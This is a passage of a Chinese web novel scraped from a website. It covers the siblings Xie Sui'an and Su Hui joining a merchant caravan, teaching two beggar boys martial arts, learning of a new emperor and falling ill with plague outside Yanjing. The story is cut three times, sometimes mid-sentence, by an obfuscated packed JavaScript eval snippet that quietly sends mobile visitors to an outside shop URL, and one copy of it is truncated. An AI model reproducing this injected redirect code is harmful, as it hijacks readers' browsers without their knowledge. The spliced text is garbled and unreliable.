谢岁安向朱老板表明来意,半真半假的说了自己和苏茴进京寻亲的事,委婉的拒绝了他的好意,并表示他们可以帮朱老板押送那批上京的货物。 眼见着朱老板在听出拒绝之意便态度冷下,谢岁安想起虎子刚才跟掌柜的一番吹鼓,当场照猫画虎: “朱老板,您选择我们帮您押送货物,绝对是比稳赚不赔、物超所值的买卖。” “我除了天生神力、武艺超群之外,我跟妹妹之前还有过押送货物的经验……” 谢岁安将之前跟镖队一起押送货物的事大大改编杜撰了一番,描述了他是如何从一个什么都不懂的跟镖小子,在这押镖路上一路成长,利用自己的智慧和武学,帮助镖队观察天象、探测道路,勇斗猛虎、智斗匪徒,最终获得镖队大哥极度的欣赏,成功将货物押送到目的地,成为一名优秀的镖人。 “在那场最凶险的匪徒围剿中,还值得一提的是,正是我妹妹运用她极佳的夜视天赋,为我们提供了敌人的包围路线,避免了被围堵的结局,让我们能将计就计反剿土匪,最终以极小的伤亡取得胜利。” “所以您放心,我妹妹对您而言,同样有着极高的价值。”说着,谢岁安将苏茴拉前一点,并暗示性的轻轻戳了下她的背。 苏茴在听见谢岁安跟讲话本子似的一本正经的胡说八道,已经有些听呆走神了,被这么一拉,倒是彻底醒了。 她学着谢岁安的样子正色的板起脸,朝珠帘遮挡的人影作揖:“朱老板若是怀疑,今晚尽可以考校于我。” 珠帘内的人却迟迟未答,像是不在意,又像是考量,直到一杯茶喝完发出一声清脆的茶杯碰盏声,朱老板的声音才继续: “二位听着是极有本事。可朱某不过是做点小本生意,也只是押送一小批货物去京城,想来是用不上你们这样的高人,再说二位来历不明,文书也丢失,朱某觉得并不值得为这么小小的一趟镖承担这样的风险。” 谢岁安心下咯噔,知道怕是自己牛皮吹破,这朱老板走南闯北,什么牛神没见过,什么人话鬼话没听过。 但……他为什么没直接把他们赶出去呢?是他好心为他们顾及面子,还是…… 谢岁安眼眸微垂,脑子飞速转动,好一会儿,他脸带笑意,抬头直视珠帘内的人影:“在下认为这仍是比极好的生意,诚若您所言,如果真的只是仅仅押送一批小货物到京城,想来不会到现在还召集人手。” “刚才的故事确有吹嘘的成分,朱老板见谅,但我的武功和小茴的夜视本领是真,押送过镖物也是真,我能看出您对我们能力的满意,我想您之所以犹豫,是还有两点顾忌。” “第一是我们来历不明的身份,朱老板您见多识广,刚才见我打拳,想来应该也看出我是个正规出身的练家子,实不相瞒,我来自漠北,父亲是一名小武官,去年八月山海关失守,我父亲战死沙场,我住的也被敌人屠戮殆尽,我是侥幸存活——我脸上的伤,就是当时达达火烧村落时留下的。我一路向南想去京城,是为了投奔我这世上仅剩的亲人,我的堂姐是戚容将军的一名妾室。” “至于小茴,她是个可怜孩子,她的家人俱被土匪杀害,只她被推下山沟侥幸活了下来,她长得有几分像我死去的妹妹,我便带她一路来到了这里。” “至于其二,是我有求于您,如何都不会让您吃亏,虽然我只给您押这一程镖,只要您愿意带我们进京城,我们可以不要工钱,只求一饭一水,您放心,该做的活儿,该办的事儿,我一件不给您少办。” “想来这样是能抵您为我们办文书的钱,至于办文书的风险……这年头处处有流民乞丐,有的是没有文书被大家收入家中当杂役家仆的人,朱家在杨城不说是数一数二的商人,那也是数三数四的,两个流民的文书而已,想来不过是朱老板动动手指的事。” “只要朱老板肯帮我们这一次,您的大恩大德我没齿难忘,来日若有机会,必将大报!” 又是一阵沉默,但这次谢岁安没有等太久。 “听起来是不错。”内屋传来一声笑,一把精致的折扇撩开了金和玉做成的珠帘,露出一张极其浓艳的脸。 谢岁安一愣,这位朱老板倒是跟他想象中完全不同,长得不像个商人,年纪也比他猜的要小很多,看起来也不过二十出头的样子。 “为着小兄弟这一番伶俐话,我觉得我也该给个机会。薛诚,你带这两位下去安排吧。” 谢岁安回神,拉着苏茴道谢,而后跟着薛掌柜出去。 朱家这批上京的货五天后就要出发,已经集结的押货人在城南的仓库里做准备。薛掌柜带人过来时,正好碰上这次押货的主事人朱雨,他说明缘由后就将人交给了他。 朱雨看着四十左右的年纪,身高不高,皮肤粗糙黝黑,臂膀腰腹结实而有爆发力,一看就是常年在外押送货物历经风雨的模样。 朱雨很快给他们安排了住的地方,考虑到苏茴一个五岁的小女孩,住进全是男人的栈房不合适,刚好仓库还有个没有堆满货物的房间,空间虽小了点,住大人肯定勉强,但住两个小孩还算足够。 接着又给他们介绍了下仓库的差事和一些重要的管事,想到薛掌柜在自己面前谢岁安力气的一番夸奖,便安排了他去搬运货物。 苏茴一个五岁小孩,又不像谢岁安是个天生大力的,肯定不能安排体力活儿,其他的差事不管说是交给一个五岁小孩,还是交给一个新来的都不放心,一时间倒是没有用的上的地方。 苏茴看着仓库里忙碌的众人,仔细想了想,最终跟朱雨毛遂自荐,表示可以安排自己去点数核对。 朱雨有些惊讶:“识字,会数数?” 不怪朱雨惊讶,这年头识字的人终归是少数,即便因为科考,不少穷人家也送孩子去学堂,就想着能祖坟能冒个青烟出个读书人,但那也是送家里的男孩,能送女孩去学堂的,要么家里不差钱,要么是当官的。 而且五岁,也是才开蒙的年纪。 “识字,会数数。” 随会拉着朱雨走了一圈,一一念出那些贴在货上字条的字,朱雨见她确实知道,便教她怎么清点记录,她学的很快,不到半个时辰就能上手开干。 但朱雨还是不放心就这么交给一个五岁小孩,便安排另外一个伙计时不时监督抽查下她的记录情况,确保不出什么差错。 两人忙碌了一下午,直到太阳下山天彻底黑下,大伙这一天的差事才算结束。 仓库的伙食由朱府统一配送,众人下工了在前院的坪子排队领取,然后随便找个地方坐下便大快朵颐起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550979|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏茴谢岁安早就饿了,两人很快就把手中的晚饭解决。 劳碌一天,众人吃过晚饭稍微洗漱一番便草草躺下,明天天亮,又会是忙碌的一天,得抓紧时间休息。 夜半子时,谢岁安忽然睁眼,他看了眼旁边正睡得香甜的苏茴,轻手轻脚的爬起,刚开门却听见身后传来一个软糯的叫声:“哥哥?” 苏茴睡眼惺忪的揉眼:“哥哥等等我,我也跟你去。” 说着,她便晃了晃脑袋跟上前来,她还是困,双手扒上谢岁安的脖子:“哥哥,我好困,你能背我去吗?” “知道我要去哪儿?” “你要去找那两个乞丐。” 谢岁安有点惊奇地看她:“我好像没跟你说过这个?” “猜的,吃饭的时候我看你偷偷藏馒头了。”馒头不像干粮能长期保存,没什么储存的意义,他们已经成商队伙计了,管饭管住,所以谢岁安藏馒头,她很快就想到那两个小乞丐。 “越来越聪明了。”谢岁安摸摸她的头,“这么困不如留下来睡觉?天亮前我就回来。” 苏茴摇头,搂得更紧一点:“我一个人害怕。” 谢岁安不再说话,背着人从墙角的狗洞钻了出去。 . 破败的土地庙里,黑娃打了个哈欠,看着虎子在门口焦躁的走来走去,困意愈发明显。 “老大,我觉得他不会来了,我们睡觉吧,好晚嘞。” 虎子闻言忍不住握拳,看着那寂静空荡的石子路几分失落,却又忍不住仍心存希冀:“你先睡,我再等等。” 黑娃叹了口气,也不再多说什么,躺下闭上眼。 老大总是这样执着,本来就饿得慌,再不睡好明天如何上街讨饭? 指不定明天他要讨两人份,他得睡好。 只是他才刚睡下不久,就被虎子兴奋的呼喊叫醒:“醒醒黑娃,他真的来了!” “什……么?”黑娃迷迷糊糊的醒来听到这么一句,好一会儿才反应过来,不可以思议的反问,“谁来了?” 虎子兴奋地拉着黑娃出了庙,庙外果然站着一大一小两个小孩,小的那个还打着哈欠。 黑娃看着两人陷入迷茫,怎么还真的来了……? 就在他怀疑自己是不是做梦之际,半个馒头抛到了他手上,虎子也接了半个,他呆呆地看着前面的人,就听见他开口:“把馒头吃了,我教你们一些基础的功夫。” “什么?!”虎子和黑娃同时惊叫出声,小孩的声调尖锐,苏茴被吓得睡意去了大半,忍不住捂了捂耳朵。 虎子捏着馒头不敢置信,结结巴巴,“您、您您要教我们功夫?可是为什么?而且……我们可以吗?我们从来没有学过……” 说着说着,他的声音小了下去。 “只要你们想学,自然是没什么不行的。”他只答了最后一个问题,给苏茴找了个坐的地方后转身看二人,“你们想学吗?” 虎子很难说清楚自己心里是种什么感觉,只觉得站在月亮下的那个小孩在发光,明明他比他还要矮一点,此刻他的身影却如此高大。 怎么会不想学? 如果他会武,就能不被欺负,保护好黑娃,说不定还能找一份活计,真正安顿下来。 “想学!我想学!”虎子对着谢岁安的视线,忍不住大声道,见一旁的黑娃还在盯着人家发呆,捅了他一下。 黑娃吃痛,终于回神,赶忙回应:“我也想学!” “嗯,那就赶紧把馒头吃了,天亮之前我还得赶回去上工。” 21. 他又当如何为谢家报仇? 自那日起,谢岁安白天在仓库上工,晚上子时则准时从仓库偷摸跑去破庙教他们武功,就这么日日两点一线的往来。 苏茴除了第一天,后面倒是没再去。 令他惊讶的是,黑娃于武术一道,居然相当有天赋。 只要是他教过的,不用三遍,黑娃便能记住动作,再有五遍,动作就能相当标准,虽然仅仅只有五个晚上,黑娃已经能将他教的融会贯通。 相比较之下,虎子于此道的天赋就很普通,到现在也只是勉强记住动作。 谢岁安看着前面正在比划练习的二人,看了眼微微泛白的天色,估摸着还有小半个时辰就该回去上工,于是提前叫停让他们过来。 “我今天离开杨城,基础的动作已经交给你们,”他又从怀里拿出一本册子递给他们,“有了这些基础,剩下的你们自己跟着这本册子自学。” 黑娃接过随意翻了下,是一本招式合集,看得出来是赶工制成,里面的人物采用最简单的画法,没有文字,只有最简单易懂的图案。 “时间有限,做的简单了些,但我想你们应该能看懂。” 虎子的视线从画册移到谢岁安身上:“您……这就要走了吗?” “嗯,后面你不会的,多问黑娃。” 二人看着面前这个明明比他们还小,却比有些大人还沉稳的小孩,一股难言的不舍从心底涌上,虎子甚至觉得心里几分酸涩。 他们自小流浪,除了李想,谢岁安是他们碰到的第二个对他们如此之好的人,说一声是贵人也不为过。 但天下无不散之筵席,分别就在此刻。 虎子跟黑娃对视一眼,合拳向谢岁安一跪:“先生的大恩,我们两个会一直记住。” “对,会刻在脑子里,就像永远记住肉的味道那样。”黑娃跟着应声。 “如我我们还能再见,只要是先生您用的上的,不管要我们干什么我们都干,如果这辈子没有机会,来世我们兄弟当牛做马也会报答您。” 虎子黑娃曾去学堂讨过饭,里面的学子称呼教导自己的夫子为先生,所以当他们跟着谢岁安学武的第一晚,便开始自顾自的这么称呼他。 地上两人抬头看他,眼神坚定而感激。 谢岁安心下轻叹一声,将人扶起:“既然叫我一声先生,我也算得上你们半个师傅,你们好好的活着,就是对我最好的报答。” “多的也没什么好说,在这里怎么生存你们比我明白。”谢岁安最后看了他们一眼,“走了。” 看着人影离去,即将消失在街角,虎子忽然想起,他还没问过他的名字,赶忙大声喊道:“先生,大名怎么称呼啊?” 谢岁安顿步,微微侧脸:“……吴岁欢。” 而后挥了挥手,彻底消失不见。 …… 燕临北方地接内陆,南方侧边沿海,所以燕临的南方比之北方,多了许多大河大江,这也就意味着,南方出行有一个北方没有的优势——水路。 而位处南部的杨城,恰巧有条自西向东横贯半个燕临汇入东海的郁江的支流,杨城商人众多,是燕临有名的富庶之地,为了运输货物方便,设置了专门去湘州的水路路线。 燕临正在湘州境内。 朱家在杨城算不得最头部的富商,但若真要论资排历,前十倒也不是问题。 所以在杨城的码头,朱家有自己专门的船只。 谢岁安和苏茴的家乡即漠北和崇阳,都位处燕临北部,属于内陆中的内陆,不临海,也没什么江河,所以这倒是二人头一回坐船。 苏茴兴奋极了,尤感新鲜,在船上东奔西跑的好多天才平静,谢岁安倒是安静许多,这一部分源于他沉稳的性格,另一部分……是因为他晕船。 但好在只是有一点点晕,远没说到吐的程度,在船上呆久了,也就渐渐适应了。 在船上的日子按部就班般平淡,跟他上次押镖完全是两种模样,上次除了黑风寨,其实他们也碰到过多次其他的土匪截道,只是都是小批量的,远比不上黑风寨那次。 据朱雨说,他们现在行的是管家的水路,有官府震慑,所以基本没有水匪。 没有水匪劫道,天气也晴朗无云,而水路本身比陆路又快很多,陆路要走四个月才能到的赤城,在他们出发后的半个月便到了。 赤城离燕京就近了,只要他们再赶半个月的陆路,便能抵达。 谢岁安想起之前朱老板说没有他们的用武之地,本以为只是谈判压价的手段,但这一路跟着来,才发现的确是没用得上他们的地方。 也难怪一听他们只是要跟商队去京城,朱老板就兴致缺缺了。 众人在赤城休整了两天,就开始北上赶往燕京,但越靠近燕京,商队却发现事情……不对劲了起来。 按理来说,燕京乃燕临国都,周遭城池得沾京师荣光,不说比上京师繁荣,却也怎么不该是如此一片闭城锁门、阒然寂静的模样。 都城进不去,商队只好从郊外绕过城池赶路。 路上偶尔碰到人,他们才想叫停打听下消息,谁知行人见人就跑。 这下商队更是摸不着头脑,越发担心究竟是出了什么事。 又过了好几天,终于逮到一个偷摸出行的猎户。 猎户被他们抓住的时候大喊大叫,满眼惊恐的看着靠过来的人,直到朱雨说明来历,又给了他一些金钱粮食作为安抚,他才终于安定下来。 “你们真是从杨城过来的生意人?”猎户收下财物吃食,仍有几分惊疑不定。 朱雨点头,撩开车帘露出里面的货物:“自然,这些就是我们的货物。” 猎户这才放下心:“那我劝你们别去嘞,离燕京最近的青城在闹瘟疫,可凶了,据说燕京都有人被传染,现在燕京跟外面的城池一样,都紧闭着门不然进嘞。” “要不是家里实在没吃的了,我也不敢冒险出来。”猎户心有余悸,“我听说之前好多人出去一下子,回来就染上那怪病死了,大家都说这病厉害得很,见人就传染!” 朱雨皱眉:“这瘟疫大概是什么时候开始的?我们上个月在杨城怎么一点风声没听到?” 朱家跟京城一直有生意来往,如果四月就已经闹瘟疫了,没道理一点消息收不到。 “就半个月前突然开始的嘞,谁都不知道是怎么回事。” “反正这新皇帝登基之后就一直不太平,多少年都好好的京城突然发生叛乱,好不容易叛乱停了,现在又闹上了瘟疫……” 猎户掂着沉甸甸的钱袋子,神神秘秘地凑到朱雨耳边,放低了声音:“大家都说啊,这皇帝非嫡非长来位不正,这是上天显灵降下惩罚,后面指不定还有啥呢。” “你听我一句劝,赶紧带着你的东西回杨城过日子,这京城后面还指不定怎么闹。” 在一旁假装整理货物实则偷听的谢岁安闻言,心下愕然。 新皇登基会昭告天下,可他却丝毫不知晓此事,想来皇帝是在他们走山路那段时间登基的。 可新皇居然……非嫡非长? 朱雨的眉头皱的更深,朝猎户抱拳:“感谢兄弟告知,外面不太平,你也赶紧回去吧。” 猎户点头,很快跑没了影。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550980|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “朱大哥,不知现如今的皇帝,是先帝的哪位儿子?”谢岁安从一旁过来开口询问。 “你竟不知?”朱雨惊讶。 “新皇登基我跟小茴还在丰西走上路,虽说新皇登基昭告天下,但山旮旯里的,也没人贴告示。” 这倒也是。 “是先皇的四子,成王殿下。” 朱雨见大家都看着自己,在等自己拿主意。 其实现在京城这种情况,回去当然是最好的选择,但这批货…… 最后他一咬牙,还是决定上京。 一行人又浩浩荡荡的出发了,谢岁安失神落魄的回到马车上,直到苏茴叫他,方才如梦初醒。 谢岁安抓住苏茴在他眼前晃的手,勉强露出个笑:“没事。” 只是那神色,怎么看怎么不像没事的模样。 他撩开车窗帘一角,向北看去。 离燕京还有好几百里路,从这里当然什么都看不见。 怎么会是成王?谢岁安百思不得其解。 他曾听父亲说过,先帝一共有过十四个孩子,其中活下来的只有六位,包括四位皇子和两位公主。 四位皇子分别是二皇子、四皇子、七皇子和十皇子。 十皇子年纪尚小,还不足两岁,除非先帝昏了头,否则断不会立一个还没断奶的娃娃。 而剩下的三位皇子中,只有七皇子是皇后所生,尽管先帝一直未立太子,七皇子作为嫡出是最有希望继承大统,也是朝中最有威望的皇子。 谢家也算是七皇子一党。 其次便是二皇子,二皇子乃先帝未承帝位前的侧妃所生,那位侧妃是皇后的嫡亲妹妹,只可惜难产而亡,独留这一子由皇后抚养长大。 大皇子早夭,二皇子作为由皇后抚养的长子,亦有机会继承大统。 八皇子则是萧贵妃所生,萧家与谢家一般,是将门世家,战功赫赫,民间曾有言——北谢府,西萧朗,达达西狄尿逃亡;山海关,紫荆门,守得燕中百世安——这话大意便是: 漠北有谢家镇守,西边有萧家镇守,达达跟西狄只能尿着裤子逃亡;北方的山海关,西方的紫荆门,守护燕临王侯百姓世代安宁。 而八皇子的母亲萧贵妃,宠冠后宫,乃皇后之下的第一人,萧家前朝后宫两面开花,太子人选未定,自然也是蠢蠢欲动,积极参与夺储之争。 至于四皇子成王,比之前几位,不仅身份低微,人也低调,在朝堂后宫可谓毫无存在感。 他的母亲是个宫女,得圣上酒后宠幸生下一子,因为有了孩子,皇帝给了她美人的位分,只是这宫女美人还没当几年,便害病而死。 年仅三岁的四皇子,就这么失去了自己唯一的依靠。 皇帝不怎么喜欢这位宫女美人,连带着对这个儿子也不上心,在这位宫女美人死后,也没再给他指定抚养的嫔妃,只安排了几个太监嬷嬷看护他长大。 没有母亲,没有家世背景,也没有父亲的宠爱,于是这位皇子低调再低调,终于在残酷的后宫中长大成人。 等到他十五岁时,皇帝便早早封他为成王,派遣他到封地,从此他便彻底消失在了众人的视线中。 没有人会认为远在巨成的成王能够成为下一任君主,大家都将宝押在前面几位皇子中,斗得不可开交。 所以当谢岁安听说新皇竟然是这位成王时,才会惊愕至此。 与此同时,他又想起谢家的灭门之祸,脑中几乎立刻将此事与宫中夺储相联系,他的脸色也不住的发白……若是真是如此……若是真是如此……他又当如何为谢家报仇? 22. 燕京,苏茴的父亲 苏茴觉得谢岁安这几天很不对劲。 干活或者有人时跟平常倒没什么两样,一派的温和听话,但四下无人时,却常常走神。 偶尔她不经意的撇过,甚至能看到他脸色阴沉的要滴水,再一看又消失,让她一度怀疑是自己的错觉。 但她知道不是错觉。 苏茴有些苦恼了。 其实小哥哥以前偶尔也会心情不好,但因为他是个人前能装的,基本就没人能发现。 而苏茴之所以知道,是因为她开始是想讨好这个厉害哥哥,但又不知道从何做起,只能将目光投注在他身上以待时机——虽然好像也没什么用。 后来熟了自然不再担心他会丢下她,但她已经习惯了,不管干什么总会分几缕目光到他身上,所以每次他心情不好,她多少少都会有些感觉。 小哥哥不仅是个能装的,调节心情的本事也一流。 每次他莫名其妙心情不好,用不了一会就恢复如常 这次连日心绪不佳,倒是出乎苏茴的意料。 她看着又在走神的谢岁安,思考着应该干点什么才能让他开心起来。 但她发现,这有点难。 她一不知道他为什么不高兴,二大家在赶路,每天只有吃饭睡觉少量的休息时间,她们不可能脱离队伍去干点什么。 最后她想了个不是办法的办法,谢岁安一闲下来就缠着他说话,让他没有时间去想乱七八糟的。 初时谢岁安还没察觉,苏茴本就是个活泼的主,平日里就话多问题多,现在不过是更多。 但一连几天不带歇的问,属实也反常,他这才反应,面前这个五岁的萝卜头怕是看出了自己心情不好,在故意转移他的注意力。 谢岁安顿时有些哭笑不得。 年纪小小,操心倒是不少。 但该说不说,被苏茴这么一打断,阴郁的氛围散了,他也意识到自己有点太沉浸没用的思绪中,开始刻意将自己拔出。 眼见着小哥哥又恢复正常,苏茴偷偷松了口气。 她这口气也没能逃过谢岁安的眼,看着她一脸我真棒的模样,是又觉得暖心又觉着好笑。 燕京地处平原,附近一众城池也几乎看不到什么高山,郊外一路过去树很多路却不难行,在七天之后,众人终于到了他们此行的目的地,燕临的京师——燕京。 八丈之高的城墙危耸而立,商队远远就能望见,古朴厚重的灰色一路向上延至城台,数位士兵手握长枪端站其上,目光如梭的不断巡视。 朱红的城门下,更是重兵把守,城门虽未关,两侧却站满兵甲,凡敢擅闯者,一下便能戳成筛子。 朱雨让商队远远停下,自己带着一个人和一些钱财上前去打探消息。 众人赶了将近一日的路,都累了,他们停靠的位置近水源,大家纷纷上前喝了个痛快,然后又掏出干粮吃了起来。 看着前面庄严肃穆的城门,三三两两聚在一起说着什么。 苏茴将水囊装好回来时,刚趁众人喝水间隙进林子的谢岁安也回来了,他伸出手,掌心有着一把表面长满细密柔软小刺的深紫色圆球。 她顺手把水囊给谢岁安,好奇的拿了一颗,小刺软软的一点不扎人,微微一用力,紫色的汁水就顺着手指往下流。 崇阳没有这种水果,这是她第一次见到长着‘软刺’的果子。 她将手上那颗丢进嘴里,眼睛一亮:“酸酸甜甜的!” 这边的动静很快吸引了其他人,一个脑袋凑了过来:“啊,是杨梅!” 其余人也闻声而动:“好啊,你们两个小屁孩居然吃独食!” “这是哪里摘的?看起来还挺甜。” 咽口水的声音不断传来,众人一见杨梅,嘴里便忍不住开始分泌唾沫。 谢岁安指了指不远处的树林:“从那里进去,稍微往里面一走就能看到。” 眼见着众人都要往林子跑,临时管事人及时叫停:“都走了谁看着货?出事了谁能负责?” 说着,他安排了几个人去摘,剩下的人则在溪水边原地等待。 等人把杨梅摘回来时,去打听消息的朱雨也回来了。 他的脸色还算好看:“这边的大门不是完全不让进出,每日午时有一个时辰,经过核查的人员有机会进去。” “我们今天就在这里过夜,等明日入城。” 天色已晚,众人简单吃完便早早歇下,苏茴和谢岁安也不例外。 然而到了后半夜,苏茴却被难受醒了。 她从睡梦中醒来,只觉得浑身无力,头晕目眩,还有点恶心想吐。 她忍着不适起身,摇醒了谢岁安:“哥哥,难受。” 本来还有点迷蒙的谢岁安彻底清醒了,这才发觉抓着他的小手温度高的不正常,他赶忙覆了下她的额头——在发烧,而且很烫。 他急忙拉苏茴坐下,给她喂了一些水:“在这里等我一下,我很快回来。” 言毕,他朝朱雨睡觉的方向跑去。 朱雨听完他的话,从车上取了一包药材给他,谢岁安道了一声谢,拿着药包就去一旁熬药了。 朱雨想了想,往苏茴的方向走去。 有人被这边的动静吵醒,看朱雨站在一侧打量苏茴,也跟着凑了过去。 苏茴的状态很不好,脸色潮红的像熟透了的虾,她蜷在石头下的一角,小脸拧眉皱起,看起来难受极了。 跟过来看热闹的人见状不由愣了:“管事,这小孩是怎么了?” 朱雨:“不知,可能是感染了风寒,又或者吃坏了东西。” 那人小心的看了眼朱雨一眼,他面无表情的,看不出来什么。 他又看苏茴,忍不住小声嘀咕:“看着不像风寒啊,东西我们大家都吃了也没事,别是感染了瘟疫……” 这话才出,朱雨瞬间拧眉,转身小声呵斥:“胡说八道什么!她一直跟我们在一起,哪有机会感染瘟疫?大晚上不睡觉净说些胡话,不想睡觉就起来干活!” 那人被吓了一跳,顿时赔笑着后撤:“错了管事,我现在就睡,我现在就睡。” 管事说的也对,大家一直都是一起行动,一直都是避开人走的,没道理感染上瘟疫。 他安慰好自己,强迫着自己进入梦乡。 谢岁安端着熬好的药过来时,就看见站在一丈之外的朱雨,愣了下:“管事?” 朱雨的视线从苏茴身上移开,落到谢岁安身上。 他面容有些犹豫:“……岁欢,等下你给小茴喂了药,就带她到那边休息吧。” 他指了指好几丈远的一片空地。 谢岁安反应了一会儿,才明白他的意思,顿时脸色一白:“管事,小茴一直跟我们在一起,她不会有机会感染瘟疫……” “我知道我知道。”朱雨连声安抚,“只是就算她是感染了风寒传给其他人也不好,本来大家就因为瘟疫的事人心惶惶,隔得远一些大家也能放心一点。” 谢岁安沉默下来,他知道朱雨说的对,最终点了点头。 他勉强向朱雨露出个笑:“劳烦朱大哥费心,只是药物吃食什么的,还要麻烦您再给我们一些,我等下就带小茴过去。” “这是自然,干粮药材还有煮锅我都给你们收拾出来一份。”朱雨赶忙应声。 苏茴没有完全烧糊涂,还有些意识,勉强起身把药喝了,趴在谢岁安的肩上被他背着去了空地。 朱雨将收拾出来的东西放在空地一侧,看着月色下依偎在一起的小孩叹了口气。 但愿是风寒或者是个什么其他的病,否则商队里谁又能跑得了? . 喝了药的苏茴稍微有些好转,可是天亮之后又重新烧了起来,眼见着太阳就要出来,谢岁安带着苏茴进了树林,又一遍遍的打湿了布条给她敷着额头散热。 但收效甚微,苏茴还是烧的厉害,而且人也越来越难受。 苏茴天亮之后就开始咳嗽,这一次更是咳了将近半柱香的时间才缓过来。 她看着掌心那一点刺目红,心下茫然又恐惧,忍不住抖着声音靠向谢岁安:“哥哥,我这是要死了吗?” “胡说!”谢岁安拿布擦了她手上的血渍,轻声呵斥。 自后半夜被叫起就没睡,神经又高度紧绷着照顾苏茴,他的眼里满是血丝:“别怕,小茴,不会有事的,哥哥在,放心嗯?” “……嗯。” 又是一阵晕眩传来,苏茴勉强应声后没什么力气的躺下,昏沉的连死亡的恐惧都淡了几分。 谢岁安给她重新换了个布条敷着,看着旁边那包药陷入犹豫。 那药是用来退烧的,小孩一天只能吃一包,距离苏茴上一次喝药甚至还不足三个时辰,他怕苏茴喝了身体代谢不过来,别病没带走人被他灌药灌没了。 他对药物了解不多,一下子便犯了难。 思虑良久,他又跑向朱雨他们呆着的地方,想看看他们有没有人是懂药材医术的。 谁知他才刚到那边,就见好些人躺在地上,旁边的朱雨更是一脸凝重。 谢岁安心下咯噔,一种不妙的感觉涌上心头。 他上前几步,从大家的状态与叫声中很快判断出了事项——他们也出现了苏茴的症状,所以难道真是瘟疫? “管事。”朱雨闻声回头,就听谢岁安问,“大家这症状是什么时候出现的?” “天快亮的时候。“朱雨深感头疼,一时分不清是被闹得疼还是他也染上这病,”开始只有一两个,没一会儿,就一大片了。” 谢岁安本就不好看的脸色又白了一个度:“你们……” “是不是你,是不是你?就是你妹妹传染给我们的!昨天晚上她就发病了,我都看见了!” 谢岁安一个不察,被人扑倒掐着质问,是昨天晚上跟着朱雨看热闹的鼠头。 谢岁安脸色一冷,直接一脚踢痛他的膝盖挣脱束缚,但他才起身,却一阵头晕目眩,差点栽倒下去。 幸亏一旁的朱雨眼疾手快扶了他一把。 朱雨见鼠头尖叫着还想说什么,眉头一拧,“够了!大家一路过来都在一起,没有人偷跑出去,没有谁传染谁的说法!谁要是再闹事——” 他冷眼扫了一众窃窃私语的人,“那就滚出商队。” 这下众人终于安静了。 鼠头挨了一脚,自是不甘,但迫于威慑,也不敢再做点什么,灰溜溜的跑到一侧蹲着了。 “你怎么样?”朱雨看出谢岁安的不适,面露担忧。 谢岁安摇头:“我没事,管事,现在我们该怎么办?” 朱雨沉吟一会儿,又看了看天色,最终道:“你把小茴带过来吧,也快正午了,我们试试看能不能进城。” 他们才出现在南门的视野范围,眼尖的城防巡兵就发现了这一行人的不对劲,立即派了一队士兵前来探查。 为首的士兵长一看他们的样子,瞬间大惊失色,后撤一步厉声下令:“把他们围了,谁要是敢离开这个范围圈,即刻斩杀!” 商队众人的心沉了下去。 朱雨上前一步企图交涉,被士兵长拿长枪顶了回来:“刚才说的没听见吗!谁敢再上前就杀谁!我的枪可不长眼!” 朱雨不敢再上前,赔笑着作了一揖:“大人饶命,我们是从杨城过来的商人,做点小本买卖,您看这还有段大人要的东西呢,能不能行行好,放我们进去?” “段大人?” “对对,段载雪段大人。” “你们的货在哪儿?” 朱雨指了个方向,士兵长看他们的样子稍微客气了一点,但也只是一点:“你们的症状,知道是什么吗?” “还请大人明示。” “疫病。”这话也如同瘟疫在商队中炸开。 虽早有猜测,但真的确认时,朱雨仍觉得难以接受。 他脸色发白,勉强露出笑:“我听说之前京城也有发病的,不知道是怎么处置的?” “你们在此处等着,容我上去通传一声。”士兵长略一思索,最终还是顾忌他提到的段大人。 “劳烦大人费心。” 只是这士兵长一去,却是没了消息。 众人从午时等到未时,仍不见士兵长的踪影,也没有对他们的安排,期间朱雨几番想催促下,又被凶回来。 待到进入申时,商队人的状况已经愈发不好起来,众人也越来越焦躁,这样无止境的等待像是另一种酷刑。 鼠头再也受不了,大嚷着“那些当官的根本不管他们就是要把他们困死在这里”,他的话引起一阵骚动,他又说“与其在这里等死,还不如冲出去起码有条活路!”。 众人本就心下惶惶焦躁难安,鼠头的话一下子煽动情绪上头,好些人跟着他一起向外冲。 这种关头,朱雨对这些人也失去作用。 见他们闹事,士兵们疾声厉喝,但被情绪控制的人却充耳不闻。 眼见有人要突出包围圈,士兵也气急,提起长枪一梭子穿透鼠头的心脏,枪尖拔出的那下,鲜血喷涌洒了一地,鼠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553434|204339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头瞪着眼倒下,死不瞑目。 包围圈内陷入死一般的寂静。 本跟着冲的人见状,吓得赶紧后退,甚至有人腿一软,直接跌坐在地。 他们该怎么办?他们会死的,一定会死的…… 这样的想法无比清晰的涌上商队每一个人的心头,有人忍不住呜呜大哭起来,指着朱雨的鼻子骂道: 